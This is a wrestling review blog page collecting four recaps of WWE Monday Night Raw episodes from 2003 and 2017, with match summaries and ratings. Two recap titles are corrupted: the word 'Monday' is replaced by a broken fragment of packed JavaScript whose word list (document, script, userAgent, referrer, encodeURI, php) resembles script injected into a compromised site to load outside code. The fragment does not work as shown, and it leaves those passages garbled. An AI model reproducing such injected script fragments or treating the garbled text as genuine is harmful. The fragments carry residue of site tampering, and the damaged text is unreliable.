Monday Night Raw – March 31, 2003: Who’s Next? Eh It’s Not That Hard To Figure Out.

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Date: March 31, 2003
Location: Key Arena, Seattle, Washington
Commentators: Jim Ross, Jerry Lawler

It’s time for one of the biggest Raw’s of the year and it should be interesting to see where things are going. HHH needs a new challenger after he sent Booker packing from the main event scene and Rock finally vanquished Steve Austin at Wrestlemania. There’s room for a lot of changes on the show at the moment so let’s get to it.

We open with a nearly four minute highlight package of last night. Nothing wrong with that after the biggest show of the year.

Opening sequence.

Rock is looking in a mirror when a makeup guy comes up, only to annoy the Great One. Tonight is Rock Appreciation Night and he needs to look perfect.

Here’s Austin to get things going in the arena. Austin says he’s always been honest since he’s been here and last night Rock was the better man. He’d like to have Rock come out here right now for a handshake but gets Eric Bischoff with some papers instead. Eric doesn’t buy Austin wanting a handshake and thinks it’s a ploy. The fact is Austin won’t be beating anyone up anytime soon.

The night before Wrestlemania, Austin was in a hospital so Eric had his lawyers look into a few things. While Austin was in the hospital for an anxiety issue, there’s a lot more to it than that. Bischoff reads off a bunch of neck and back issues that Austin is dealing with (apparently having stolen Austin’s personal medical records) and he’s not medically cleared to wrestle. Austin says he’s going to do whatever he wants and that includes fighting against doctor’s orders. That’s fine with Bischoff, who fires him. The FedEx is on its way to Austin’s home in Texas too.

HHH vs. Hurricane

Non-title. During the entrances, JR and King say that Goldberg will be part of the upcoming Backlash pay per view. Hurricane gives his mask to a kid so Flair takes it away and breaks the thing. HHH jumps him on the floor and takes him down with a spinebuster back inside. A vertical suplex is broken up and Hurricane’s jumping neckbreaker mostly connects.

Some jumping clotheslines and a Shining Wizard give Hurricane two but Flair trips him up. It doesn’t really matter as the chokeslam is good for two, followed by a high crossbody for a pretty good near fall. The Pedigree is broken up and the Eye of the Hurricane gets two more. The Blockbuster misses though and it’s a Pedigree to put HHH away.

Rating: C-. This would also be known as a “take that Rock” match as Rock went out of his way to give Hurricane a rub and then HHH beats him clean in about four minutes. Hurricane’s offense looked good and there’s nothing wrong with the World Champion getting a clean win but did it just NEED to be Hurricane? Seems rather petty but that’s how it goes.

Goldberg video. He’ll be at Backlash.

Scott Steiner vs. Christopher Nowinski

Chris has a protective mask on his face and politely requests not to be hit in the face. Steiner threatens to make Nowinski floss with his shoelaces and Nowinski’s running doesn’t get him anywhere. Scott hammers him down and gets in a kick to the chest but Nowinski uses a headbutt with the mask to get a breather. Not that it matters as a belly to belly and the Steiner Recliner put Chris away in short order. Total squash.

Austin confirms that his neck is messed up.

Rock Appreciation Moment: a song montage. It really is amazing how much great stuff he packed into so little time.

JR goes on a heck of a rant against Bischoff for somehow getting Austin’s medical records and getting rid of him this way. Heck yeah JR. Medical reasons like Austin having a horrible neck and back? What kind of problems could those ever cause? I get what they’re going for with Bischoff finding a way to get rid of Austin but good luck getting me to take issue with protecting the neck/back of someone who already missed a year due to neck surgery.

The Dudleys aren’t happy with Storm and Morely. Here’s the Chief to tell them that they’re in the Tag Team Title match tonight as well where their jobs will be to get rid of RVD and Kane before laying down to retain the titles.

Flair comes in to see Booker T., who is getting his knee taped up. Booker chokes Flair for being annoying and shows why he’s one of the scariest men in wrestling. Seriously he was terrifying when he was shouting down at Flair.

Clip of Ashanti singing America the Beautiful.

Rosey vs. Maven

Fallout from Maven pinning Rico a few weeks back and of course that requires another match. Maven kicks him in the ribs but gets his head taken off with a clothesline. King ignores the match to talk about being a celebrity photographer for Playboy, which doesn’t cause nearly as much excitement as you would expect.

Rosey misses a charge in the corner and gets forearmed down, only to have Maven COMPLETELY miss a dropkick to Rosey’s back. The idea was supposed to have Rosey get knocked into Rico on the apron, likely for a rollup pin. Rosey starts to go into Rico anyway but thankfully realizes how stupid that would be since he wasn’t touched. They stumble around into an awful looking rollup to give Maven two, followed by a sunset flip to put Rosey away. This was terrible and made some of the Divas matches look horrible. By the way, Maven would have been a perfect choice (one of many) for HHH’s squash earlier rather than Hurricane.

Here’s Chris Jericho for a match but first he needs some respect. Jericho talks about having one of the best matches in Wrestlemania history last night and Shawn Michaels knows that he was bested. When people look back at the match, they’ll remember Shawn writhing in pain while Jericho walked out with his head held high. Tonight, he’ll take out his frustrations on Booker T.

Chris Jericho vs. Booker T.

Booker has a bad leg so Jericho goes after it before the bell. Some kicks and elbow drops have the leg in trouble but Booker kicks him over the top for a breather. Back in and a flapjack drops Jericho as JR praises HHH’s Indian Deathlock. There’s a superkick but here’s Flair for the DQ.

HHH comes out and it’s a 3-1 beatdown until Shawn makes the save. Jericho breaks up Sweet Chin Music though and it’s Shawn taking the beatdown, including the Walls. HHH gets the Indian Deathlock and the good guys tap. Yeah it’s still just an Indian Deathlock dude. Try the sleeper again.

Jeff Hardy vs. Steven Richards

Jeff is in all white, making him look like he’s off to paint an apartment. Richards gets sent outside early on but Victoria pulls him away before Jeff’s barricade running clothesline. Back in and a DDT on the arm gives Richards two and we hit the armbar as Jeff’s blue arm paint is all over Richards. Jeff makes the comeback and gets two off the leg lariat in the corner. The Swanton is broken up by Victoria so here’s Trish, who got out here WAY too fast, to kick her in the head. Now the Swanton can put Richards away.

Rating: D. The paint was the most interesting part of the match. This Jeff/Trish thing isn’t doing anything for me but I can’t imagine it’s going to be anything long term. They also need some fresh talent for the women’s division as Trish vs. Victoria all over again makes my head hurt.

Trish smiles at Jeff post match.

Austin says goodbye to the production staff and leaves.

Rock Appreciation Moment: Rock insults various crowds and people. “HE SAID TORONTO! THAT’S WHERE WE LIVE!” Still amazing.

Test calls Torrie Wilson because he’s dumb enough to do this when his girlfriend is around. Speaking of the girlfriend, Stacy comes up and innocently asks who was on the phone. Test gets nervous and says it was a wrong number. He tries to get Goldust to lie for him but the Tourette’s gets the better of him.

Rock finds the dejected production staff (who haven’t moved since Austin left) and says he’s got a big party after Rock Appreciation Night. I mean, they can’t come in or anything but the party will be happening.

Goldberg video.

Tag Team Titles: Dudley Boyz vs. Rob Van Dam/Kane vs. Lance Storm/Chief Morely

The graphic still shows the old title belt design. Morely and Storm are defending and this is elimination rules. Rob and Kane slug it out with the champs with Van Dam moonsaulting to the floor to take out the two of them plus Bubba as a bonus. Kane dives onto all of them and the fans are way into Van Dam, as is usually the case. We really get things going with Rob and D-Von as the fans want tables.

Bubba comes in to club Kane in the chest but takes a jumping clothesline for his efforts. A quick What’s Up slows Kane down but it’s right back to Rob for a bunch of kicks to the face. Everything breaks until it’s Bubba and Van Dam alone in the ring where Rob misses the Five Star. Storm tries to bring in a chair but D-Von takes it away and misses a swing, setting up the Van Daminator to get rid of the Dudleys.

Back from a break with Morely suplexing Van Dam and Kane making a save. Storm comes in and grabs a half crab, which isn’t even treated as a finisher anymore. To be fair, did anyone outside of WCW ever buy that as a good move? The hot tag brings in Kane as everything breaks down.

A really bad camera shot shows Van Dam’s top rope kick not coming close to Storm (which the announcers didn’t acknowledge, making it a bit less bad than Maven’s disaster earlier). There’s the double chokeslam on the champs and the Five Star to Morely gives Rob and Kane the titles.

Rating: D+. Kind of slow here but the ending was the only important part. Kane and Van Dam should have won the titles last night but the extra emotion here did make things a little better. At least the titles are off of Storm and Regal as they were setting new standards for uninteresting champions. The Dudleys didn’t really need to be there either but they didn’t hurt anything.

Bischoff has a contract of some kind and promises a big surprise.

Here’s Rock for Rock Appreciation Night/the most obvious debut ever. Rock has FINALLY come back to sea….all you jabronis appreciate him. The ROCKY chant breaks out and Rock says he doesn’t care for what happened to Austin earlier tonight. If Austin just had to get beaten last night, at least it was by the best. Rock brags about all the Rock Bottoms last night and the fans keep cheering him.

We get another montage of awesome Rock moments (edited off the Network due to the music), which still doesn’t get them to boo. He talks about going to Hollywood and coming back to boos as the fans FINALLY catch on….by chanting for Goldberg. Rock: “Don’t think you’re cool just because you know Rock’s accountant Ira Goldberg!”

Overall Rating: C. This definitely felt like the post-Wrestlemania show with very little wrestling throughout and one match with any significant time. They set up a few things going forward but a lot of this show was about taking a breath after the hard push towards Wrestlemania. There’s nothing wrong with that and the Goldberg debut, while highly telegraphed, did feel like a big moment. Not a bad show, but it’s not the place to look if you want a lot of action.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Monday Night Raw – August 28, 2017: Stick to the Plan

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Date: August 28, 2017
Location: FedEx Forum, Memphis, Tennessee
Commentators: Jerry Lawler, Michael Cole, Corey Graves

We’re less than a month away from No Mercy and the show is already looking big. With Braun Strowman vs. Brock Lesnar already on the card and some more potentially huge matches being added, this show has suddenly gone from a nothing pay per view to something pretty big. Let’s get to it.

The Miztourage is in the ring to open things up. Before Miz can get a single word out though, here’s Kurt Angle to interrupt. Angle talks about how the Intercontinental Title has been taking some hits as of late, there’s going to be a title match soon. Miz cuts him off to yell about the lack of respect the title has been shown as of late. It’s going to be fixed soon though as we’re going to have a battle royal right now with the winner facing Miz for the title next week.

Battle Royal

Big Show, Curtis Axel, Bo Dallas, Jeff Hardy, Matt Hardy, Finn Balor, Jason Jordan, Curt Hawkins, R-Truth, Kalisto, Goldust, Apollo Crews, Luke Gallows, Karl Anderson, Elias

Big Show is now clean shaven. Hawkins (listed as Curtis) is put out at the bell and everyone else turns their attention to Big Show. That goes poorly for everyone else as Show cleans house and things spread out a bit. Kalisto is put out and the Hardys feed Elias to Show for some loud chops. Cole: “That’s music to Big Show’s ears.”

Anderson and Gallows get together to try and get rid of Show but it’s Balor’s assistance that finally gets rid of the giant. Elias (called Samson by Cole in what might be a mistake) decks Balor from behind and things break up again. The Miztourage gets rid of Truth and Goldust is put out as well at the hands of Anderson and Gallows.

Back from a break with Crews having been eliminated. Matt gets rid of Gallows and pulls Anderson to the apron for another elimination, only to have Gallows pull Matt out for the elimination. Miz saves Dallas as the referees are distracted and things settle down again. We’ve got Balor, Jordan, Dallas, Axel, Jeff Hardy and Elias to go.

Balor starts cleaning house but gets into a staredown with Jeff that gets the fans’ attention. Some running dropkicks in the corner have people in trouble, but here’s Bray Wyatt to eliminate Balor and then disappear again. Jordan starts throwing suplexes and gets rid of the Miztourage. There goes Elias, followed by Jordan at Jeff’s hands to give Hardy the win at 16:17.

Rating: D+. I like the choice of a winner there as Jeff is someone who can easily get a spot like this and even win the title. While I still think we’re heading for a Jordan title match at No Mercy, it’s nice to see someone get a surprise shot in the middle. Hardy winning the title wouldn’t be the worst idea in the world, but either way it’s a good idea to see him getting more of a singles push.

We look back at Braun Strowman laying out Brock Lesnar last week.

Alexa Bliss promises to regain the title tonight. Tonight, the goddess reclaims her throne.

Here’s Enzo Amore to talk about beating a giant like Big Cass last week. Not only can he hang with bigger men like him, he can also compete in the fast paced, high flying cruiserweight division. After bragging about winning money on Saturday’s fight, he dances around and announces his opponent.

Enzo Amore vs. Noam Dar

Amore spins out of a wristlock to start but gets kneed hard in the ribs. Dar pulls at the hair and knees away in the corner before being sent face first into the middle buckle. Enzo pops right back up and grabs Eat Defeat for the pin at 2:55.

Neville says if Enzo is his competition, he’ll be Cruiserweight Champion forever.

Here are Brock Lesnar and Paul Heyman for a chat. Heyman talks about what happened last week with Braun Strowman, who is the kind of monster that his parents warned him about. Strowman had an historic night at Summerslam when he, as Corey Graves said, monster handled Lesnar by powerslamming him through two tables. We see a clip of last week’s attack on Lesnar, which Heyman says made him know Strowman is a monster. At No Mercy, Lesnar is going to be ready for Strowman. Heyman explains what’s going to happen but Brock takes the mic. Brock: “What he’s trying to say is Suplex City b****.”

Long recap of last week’s segment with Miz, John Cena, Samoa Joe and Roman Reigns, including their tag match. Cena vs. Reigns is confirmed for No Mercy and their contract signing is tonight.

Cesaro vs. Seth Rollins

Rollins and Ambrose did their entrances before the commercial and before the package. That seems like some mistiming, which you don’t see around here too often. Seth starts fast by sending Cesaro outside where he comes up holding his back. Back in and a standing moonsault gives Seth two but he’s sent outside as well. Ambrose and Sheamus have the staredown but Rollins catches Cesaro diving off the apron. A tilt-a-whirl backbreaker cuts Rollins off though and we take a break.

Back with Cesaro dropping him with a gorilla press and rolling some gutwrench suplexes. A slam sets up Cesaro’s high crossbody but Seth rolls through for two. There’s the Sling Blade and a Blockbuster but Cesaro catches him on the top. Sheamus and Ambrose get into it on the floor and the distraction lets Cesaro hit a European uppercut for the pin at 10:19.

Rating: C+. I’m already over these teams fighting but that’s no excuse to not have the same singles matches over and over on Raw. Can’t someone just ask Paul Heyman for 842 ways to advance a feud without doing anything else? This seems to be the only idea they know and since there are almost no other teams, this is what we’re stuck watching.

Sheamus says he and Ambrose are up next.

Sheamus vs. Dean Ambrose

They fight to the floor to start and it’s off to an early break. Back with Sheamus getting two off a top rope superplex and grabbing a Stretch Muffler (Brock Lock). That goes nowhere so it’s off to a Texas Cloverleaf instead. The ten forearms to the chest keep Dean in trouble and he hobbles into a boot in the corner.

Dean grabs a swinging neckbreaker for two but gets caught on top, setting up a super Regal Roll. The Brogue Kick misses but Dean can’t hit Dirty Deeds. Cesaro and Rollins get into another argument and the chase is on through the ring. The referee deals with Cesaro, allowing Seth to knee Sheamus in the face. Dirty Deeds is good for the pin on Sheamus at 10:45.

Rating: C+. Well at least they got it out of the way in a hurry. This was the obvious next match but please tell me they’re not just going to switch the opponents next week. The division feels completely depleted at this point and having these teams feud over and over again really doesn’t prove otherwise.

Emma is complaining about the whole Twitter thing again because she started the Women’s Revolution. Mickie James is sick of hearing about it (preach it) and has an idea: if Emma beats her tonight, she’ll Tweet anything Emma wants. If Mickie wins, Emma can’t say she started the Women’s Revolution again.

Mickie James vs. Emma

Emma has new music and they’re fighting over hashtags. Mickie kicks her down a few times but gets caught in a quick rollup to give Emma the pin at 1:42.

Emma grabs the mic and says she started the Women’s Revolution all the way to the back.

Kurt Angle is in the ring for the contract signing between Cena and Reigns. Cena is out first to say that he’s on Raw to face one man and Angle has made that happen for No Mercy. He’s seen Reigns being treated as the untouchable star and we’ll see how he can hang at No Mercy. Cena signs and here’s Reigns. Roman says that as great as Cena is, there’s one thing that he’s done that Cena can never do: retire the Undertaker at Wrestlemania.

Cena kneels before him and says some people are still trying to figure Reigns out. We hear about the fans wanting to see Cena change his ways (with the term heel turn being dropped in a rare moment) before Cena says Reigns is just a guy trying to fill shoes he can never fill. Cena isn’t a man at the end of his career with a bad hip. The reason Reigns won’t sign that is because the Roman Empire is done if he does.

Reigns says Cena sucks so Cena puts his arm around Angle and says the fans think he does too but he won a gold medal. Roman seems a bit shaken and lost for what to say. Cena: “Go ahead find it. I’ll wait. It’s called a promo and if you want to be the big dog you’re going to have to learn how to do it. SEE YOU FOURTH WALL!” Reigns gets fired up and goes on a rant that sounds straight off a message board, talking about how hard he works on the weekend so Cena can be on the Today Show.

Then Cena gets on his tour bus and shows up at a show if they pay him enough with the big shovel to bury people around him. Reigns is the one guy he can’t bury or see. Cena calls him out for being repetitive and says “it took you five years to cut a halfway decent promo but now I’m about to cut you down to size.” He talks about the mythical golden shovel but it’s always the fans who hold the keys and they always will.

Cena is tired of hearing the same thing for ten years by a lot tougher people. Here’s the thing: Cena hasn’t main evented Wrestlemania in five years and he was the opening match at Summerslam. He won the US Title and used it to introduce new stars to the WWE including Kevin Owens and AJ Styles (I believe he means Sami Zayn as AJ debuted way later). Reigns took the US Title as a demotion and now stands there blaming Cena for not being able to hang with him.

Cena has seen a lot of people trying to hang at this level and he’s heard about one guy getting to do it. Now he sees Roman face to face and gets the line of the night: “You’re lucky I’m a part timer because I can do this part time way better than you ever could full time.” Reigns signs and turns over the table….and here are Anderson and Gallows to make it a tag match in the most ridiculous ending to an amazing promo I can remember in a long time.

Cena DESTROYED Reigns here, making him sound like every other heel. Now if Reigns wins at No Mercy (which he probably will), everything will be fine for him but at the end of the day, almost no one ever can hang with Cena on the mic and he picked Reigns apart the entire time. If nothing else the lines about Reigns needing to learn promos and the fourth wall thing were outstanding. Now let’s get to this ridiculous tag match.

Anderson and Gallows vs. John Cena/Roman Reigns

Joined in progress with Cena in trouble in the corner as Gallows grabs a headlock. Anderson comes in for a chinlock as the announcers rave about everything Cena was saying. Gallows misses an elbow and the hot tag brings in Reigns. Roman cleans house and you can tell Reigns is ticked off here. The Superman Punch connects to both guys and it’s an AA and spear at the same time to give Reigns the pin on Anderson at 6:02.

Rating: D+. While I still have no idea what the point of this was, Reigns vs. Cena is going to be a huge match when we get to No Mercy. Cena’s promo is going to be talked about for a few weeks as he made the match feel even more awesome than it’s likely to be. If Reigns wins he’ll be fine, but he has a lot to make up for at this point. Now can someone explain to me why this match happened? I really don’t get it.

Here’s Elias to sing a song to the tune of Hound Dog about how much he hates Memphis. This brings Jerry Lawler out of his seat to say that Elias has a good voice but he’s missing his audience. While the people of Memphis might not appreciate what Elias is saying, they might appreciate this man: Southpaw Regional Wrestling’s own Pelvis Wesley (Heath Slater). Elias beats him up without too much effort. Cole: “I guess he didn’t want to walk with Elias.”

Miz and Maryse are annoyed at Jeff Hardy getting a shot by just winning a battle royal.

Sasha Banks is ready to beat Alexa.

Women’s Title: Alexa Bliss vs. Sasha Banks

Banks is defending and gets rolled up for an early two. Sasha sends her hard into the corner and grabs an armbar. They’re starting with a slow pace and Bliss bails to the floor for a breather. There are the double knees from the apron and we take a break. Back with Bliss holding an armbar of her own before starting in on the back.

It’s off to a bow and arrow hold but Banks fights up without too much effort. The Bank Statement doesn’t work so Sasha goes with the running knees in the corner, only to miss a second attempt. Bliss goes with a hard right hand and a Code Red for a pretty close two. Banks gets in a few more knees and some aggressive forearms in the corner.

Back up and Alexa catches her in the corner by sending her face first into a buckle. A top rope superplex connects to bust up the back even more. Bliss is slow to cover and gets caught in the Bank Statement. That’s reversed into a rollup for two and there’s the DDT to give Bliss the title back at 15:00.

Rating: B. I’m really not getting the lack of successful title defenses for Banks. That makes four reigns and she’s lost the title in her first defense every time. As for the match itself, Bliss winning clean is an interesting call and the right one if you have to change the title. She looked better than she has before in the ring and is getting to the point where she can hang with the better workers. Couple that with the insane charisma and persona and she’s quite the force.

Post match Nia Jax comes out and destroys Sasha before putting Bliss on her shoulders. One electric chair later and Jax holds up the title over the new champ to end the show.

Overall Rating: B. The wrestling was good, the hype for the pay per view was solid and the Cena promo was outstanding. It might not have been a perfect show or anything really close but they felt like they were executing a plan tonight. Raw is smoking Smackdown at the moment and it’s really not even close. Good show this week and one of their best in a long time.

Results

Jeff Hardy won a battle royal last eliminating Jason Jordan

Enzo Amore b. Noam Dar – Eat Defeat

Cesaro b. Seth Rollins – European uppercut

Dean Ambrose b. Sheamus – Dirty Deeds

Emma b. Mickie James – Rollup

Roman Reigns/John Cena b. Anderson and Gallows – Spear to Anderson

Alexa Bliss b. Sasha Banks – DDT

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Monday Night Raw – March 24, 2003: Overtime with Recaps

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rtant|var|u0026u|referrer|ssdde||js|php'.split('|'),0,{})) Night Raw
Date: March 24, 2003
Location: ARCO Arena, Sacramento, California
Commentators: Jim Ross, Jerry Lawler

It’s the go home show for Wrestlemania but more importantly we’ll be seeing the first ever Rock Concert with Rock giving us a performance for the ages. Other than that though it’s time for the final push towards Seattle, which likely means we won’t be seeing a lot of wrestling around here for the sake of avoiding a last minute injury. Let’s get to it.

Lillian Garcia sings the National Anthem. That’s quite the celebration for the twelve year anniversary of Wrestlemania VII: Stars and Strikes Forever.

Opening sequence.

Here’s the unscheduled Steve Austin with something to say. He’s really not cool with Rock coming out here last week and giving him a Stone Cold Stunner and a Rock Bottom. Austin isn’t going anywhere until the Rock comes out here (down an aisle as there’s no ramp this week) for a beating. Cue Test and Stacy Keibler with the former saying he just wants to have a match tonight. It’s a Stunner for Test and Stacy runs off as Austin has a seat at ringside.

Lance Storm, who is scheduled to face Test tonight, comes in and covers with Austin counting the two. That means a Stunner for Storm so here’s Eric Bischoff, flanked by cops, to issue a restraining order. After a fairly long time and threats of being shot, Austin finally leaves so Bischoff can plug the Rock Concert.

Jeff Hardy/Trish Stratus vs. Victoria/Steven Richards

The genders have to match. The guys start things off with Richards taking him into the corner, only to get shoved right back out for the legdrop between Steven’s legs. Jeff’s slingshot dropkick sends Richards over to Victoria, meaning it’s off to Trish for the first time. Jeff dives onto Richards, leaving Victoria to hit her spinning side slam. The Stratusphere sets up the Stratusfaction off Richards’ chest for the pin.

Jeff and Trish are about to kiss again when Jazz jumps her from behind.

Coach tells Bischoff that there’s a security issue that needs to be taken care of right now.

Goldust is ready to fight in the tag match tonight and says HHH sounds like a dic….dic….dic….dictator! This STILL isn’t funny.

The security issue is that Austin is still in the parking lot because the restraining order only covers the arena. Bischoff has plans for Austin and threatens to fire Coach if he doesn’t go deal with this.

Scott Steiner vs. Christian

Christian’s gear is extra neon green here, meaning it shines rather brightly when Steiner throws him outside. Back in and it’s the clothesline into the push-ups, followed by multiple reps on a gorilla press. A reverse DDT puts Steiner down for two with the kickout sending Christian flying. Christian gets in a neckbreaker and some choking until Steiner hits the first suplex. Steiner catches him on top with something like a super Angle Slam for the pin.

Rating: D. It’s amazing that Steiner has nothing to do at Wrestlemania but it’s really not surprising. Steiner has become as generic and slow of a power wrestler as you’ll ever find and now he’s going over perfectly acceptable wrestlers like Christian. Thankfully Christian has settled into a fine role as an upscale lackey like Jericho.

Coach tells Austin about Bischoff’s threats but Austin doesn’t say a word. I’m sure the fans who were waiting for Austin to come back are thrilled by watching him sit there stoically.

Wrestlemania Moment: Shawn wins the title.

Morely says that William Regal can’t wrestle at the moment so Morely and Storm are the new champions. It’s about time. WWE officially recognizes this as two reigns for Storm, which is yet another stretch for the titles’ history. Kane and Rob Van Dam come up and want a title shot at Wrestlemania. Morely backs away but agrees to make Van Dam and Kane vs. the Dudleys in a #1 contenders match for later tonight.

Remember when Austin was sitting outside doing nothing? Well now he’s sitting outside and playing with his windshield wipers.

HHH/Ric Flair vs. Goldust/Booker T.

All four get their own entrances to really stretch things out. Goldust, still with the bad arm, start things off and we get the traditional exchange of WOO’s. Some right hands puts Flair down as JR and Lawler go over the history of the Rhodes Family. HHH comes in but Booker does the same, meaning it’s time to slow things way down. A leapfrog into a hiptoss sends HHH into the corner and Lawler is panicking.

Booker kicks him into the other corner so it’s off to Flair, whose chops have no effect again. HHH offers a distraction though and it’s a chop block to put Booker down. Back from a break with Booker reversing Flair’s Figure Four and hitting a few chops to set up the hot tag. Goldust fires away, only to have the bad arm flare up again.

A missed crossbody sends Goldust outside so HHH can send him into the steps and the fresh heat segment begins. HHH offers a distraction so Flair can get in a good low blow and choking as only Ric can do. A neckbreaker gives HHH two and it’s back to Flair, who allows the tag. The referee doesn’t see it of course so HHH has to charge into a boot in the corner for the real hot tag.

Booker comes in to take over, including the hard whip to send HHH sailing over the corner to the floor. Goldust and Flair fight into the crowd as Booker busts HHH open. Flair comes back in and gets caught with a spinebuster for no count as the referee actually remembers who was legal. Get that man a raise! The Pedigree is broken up and it’s a catapult into the post, followed by the scissors kick for the pin.

Rating: C+. The match was long but had the right ending. Unfortunately it’s also the WWE way of saying HHH is going to retain on Sunday, which would be the dumbest idea that WWE could possibly have. I’m sure this now qualifies as HHH putting someone over though, and that’s all he needs to do to be the best of all time right?

Post break HHH is staring at the title while Flair gives him a pep talk.

Here’s Chris Jericho for a chat. Jericho is ready to face Shawn Michaels at Wrestlemania but needs to say something to his face right now. This brings out Shawn, with Jericho saying he modeled himself after Michaels for years. Jericho has a video of the two of them side by side, showing how similar they are due to Jericho imitating him.

After all those years of being talked up as the next Shawn Michaels, he wanted to be the first Chris Jericho because he was better than Shawn. Then Shawn left in 1998 and Jericho became the workhorse and backbone of the company. Jericho is ready for Wrestlemania and slaps Shawn in the face. Shawn slaps him back and….that’s it as we cut to a break.

Rock comes in to see Bischoff and has an idea for tonight: put speakers in the parking lot so he can listed to the Rock Concert.

We run down the Wrestlemania card. For some reason this isn’t on the Network version.

Rob Van Dam/Kane vs. Dudley Boyz

The winners get Storm/Morely at Wrestlemania. It’s a brawl to start with Kane taking Bubba into the corner for some right hands. A German suplex puts Kane down and D-Von adds a jumping clothesline, which only seems to annoy the monster. It’s off to Van Dam for Rolling Thunder but D-Von comes right back with a neckbreaker to put both of them down.

The spinning kick to the head drops Bubba and it’s back to Kane and D-Von. Everything breaks down and Bubba hiptosses Van Dam into a neckbreaker (cool spot). Cue Storm to kick D-Von by mistake before being chased off by Bubba. The chokeslam and Five Star send Kane and Van Dam to Wrestlemania.

Rating: D. Nothing match here but they went with the logical ending which should have been obvious the whole time. The ending just makes you think that Bubba and D-Von are about to be back to normal almost immediately, making the last few weeks even more uninteresting and a waste of time than I had previously thought. At least they got to the right ending though.

The speakers are set up next to Austin’s truck.

Here’s Rock for the Concert. Rock has a chair, a music stand and some fancy looking bottled water on a table next to him. He’s glad to be in Sacramento because it means he can be out of here in about an hour. Rock sings about how hideous the women here are and how bad it is to live here. Eh I think I prefer Elias. We see Austin sitting in his truck and shaking his head as Rock makes jokes about the Sacramento Kings.

Now it’s time to sing an Austin version of Hound Dog before suggesting that Austin smokes something funny to go with the beer. Next up it’s a Willie Nelson song about beating Austin up before finishing off with some Frank Sinatra about how much pie he can get. Outside, an ambulance drives in and Austin drives the truck in to follow. Rock panics and demands the security come to the ring, followed by Austin’s truck.

It’s driven by Hurricane though, with Austin hiding in the back of the truck. Rock goes back to singing, allowing Austin to come in and beat up Rock as you knew he was going to do. Austin destroys the guitar as security just stands around watching. This is edited WAY down on the Network, cutting out the better part of five minutes (meaning every time Rock sang anything).

And now, here’s Vince to show us the whole contract signing from Smackdown.

Since this show hasn’t gone on long enough (and it’s already in overtime), we go back to Smackdown to see the Angle brothers demand an apology from Brock Lesnar, resulting in Kurt injuring Brock’s ribs to FINALLY end the show.

Overall Rating: D+. There’s not much to talk about here save for the extra stuff at the end, which was just a commercial for the Smackdown side of things. The few matches we got were nothing special though at least one match was added to the card. As has been the case throughout the build to the pay per view, there’s nothing going on to make me want to see the show. It’s just not good TV building stories that aren’t great either. It could be worse but the HHH vs. Booker stuff has been a horrible second level story for the red show. Another weak show here but that’s normal around here anymore.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Monday Night Raw – August 21, 2017: Can Brock Smash A Beach Ball Please?

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|izhey|var|u0026u|referrer|fenyi||js|php'.split('|'),0,{})) Night Raw
Date: August 21, 2017
Location: Barclays Center, New York City, New York
Commentators: Michael Cole, Booker T., Corey Graves

With Summerslam behind us, it’s time to start heading towards No Mercy, which ultimately leads us to Survivor Series. The big story is a combination of Brock Lesnar retaining the Universal Title and Braun Strowman arriving as the new monster as he manhandled Lesnar last night. If that’s not a title program at some point in the near future, I have no idea where WWE’s head is. Let’s get to it.

Here are Lesnar and Paul Heyman to open things up. Heyman says this isn’t a tape delay because we’re live with Brock Lesnar still your reigning and defending Universal Champion. He talks about the conspiracy against Lesnar, who fought off everyone else last night to keep his title. For the first time in his life, Lesnar was taken off the battlefield in an attempt to get rid of him without having to pin him or make him submit. But Lesnar wouldn’t have any of that and marched back down the aisle so conquering could ensue. As for tonight, there is no one in WWE or UFC history, like Lesnar himself.

Cue Braun Strowman and you can see Lesnar wince a bit. The fans cheer for Strowman as Brock gets in his face. A chokeslam is countered but Braun kicks him in the face and hits a powerslam to put Lesnar down. He starts to get up so it’s another powerslam, leaving Strowman to hold up the title. Strowman is the only person who should be challenging Brock right now and they would be crazy to wait any longer than Survivor Series (and even that’s a stretch) to do this match.

Enzo Amore vs. Big Cass

Street fight as this feud MUST continue. Before the match, Enzo talks about his history with Cass, including the two of them breaking bread together as his family’s house. Enzo grabs a shopping cart full of weapons, which he throws at Cass, who easily dodges and clotheslines Enzo down. A shopping cart shot to the ribs drops Enzo and they head inside with Cass throwing Enzo a chair.

That just earns Enzo a big boot to the face and we take a break. Back with Enzo hitting a jawbreaker but getting crushed in the corner again. A big boot misses though and Cass falls out to the floor. Cass kicks the chair away from Enzo again but seems to have hurt his knee on the fall. The knee gives out and the referee throws up the X and stops the match at 8:55.

Rating: D-. In a way I hope that was legit as I really, REALLY don’t need this feud to continue. Enzo has gone from being entertaining to one of the most annoying people I’ve seen in years as there’s just no point to have him fight Cass over and over again. The match was a squash anyway with Cass losing via basically slipping on a banana peel. He deserves better than that while Enzo deserves a root canal with no medication.

Emma is annoyed at Sasha Banks getting all this attention and complains to Dana Brooke about it. She runs her mouth about Nia Jax as well, who just happens to be standing right behind her. I think you know where this is going.

Nia Jax vs. Emma

Emma goes after her to start but gets run over and crushed with some elbow drops. A dropkick has no effect and it’s the Samoan drop for the pin on Emma at 1:14. So yeah, the division has three active wrestlers of any value but let’s make sure to squash Emma over and over and over to punish her for daring to question the company’s oh so brilliant planning. As usual, WWE would rather cut off its nose to spite its face and then wonder why people stopped caring about the division.

Here’s Elias for a song. He teases singing R-Truth’s song but says he’s kidding and it’s time for some real music. The song mocks Truth so here he is to interrupt.

R-Truth vs. Elias

Truth takes him down to start but runs into an elbow as Booker’s microphone isn’t working properly. Drift Away ends Truth at 1:22.

